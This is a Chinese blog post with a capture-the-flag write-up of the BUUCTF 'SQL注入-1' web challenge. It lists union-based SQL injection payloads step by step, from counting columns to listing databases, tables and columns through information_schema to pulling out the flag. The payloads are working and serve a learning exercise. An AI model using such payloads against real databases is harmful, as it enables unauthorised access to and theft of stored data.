[第一章 web入门]SQL注入-1

林本

已于 2022-07-20 09:23:53 修改

阅读量899

点赞数

文章标签： sql 数据库

于 2022-07-04 11:37:42 首次发布

本文链接：https://blog.youkuaiyun.com/qq_43618536/article/details/125596574

版权

本文详细介绍了一个具体的SQL注入攻击案例，包括测试步骤、确定注入点、爆破数据库信息、表名、字段名直至最终数据的过程。通过实践操作，读者能够了解SQL注入攻击的基本原理和技术细节。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

题目

BUUCTF的[第一章 web入门]SQL注入-1
在这里插入图片描述

1.输入id=1
在这里插入图片描述
2.输入id=2

在这里插入图片描述
3.输入id=3

id=1’ order by 3 --+

在这里插入图片描述

id=0’ union select 1,2,3 --+

在这里插入图片描述

1.第一种方式

id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

在这里插入图片描述

2.第二种方式

id=0’ union select 1,database(),3 --+

在这里插入图片描述

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+

在这里插入图片描述

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+

在这里插入图片描述

id=0’ union select 1,group_concat(fllllag),3 from note.fl4g --+

在这里插入图片描述获取flag{union_select_is_so_cool}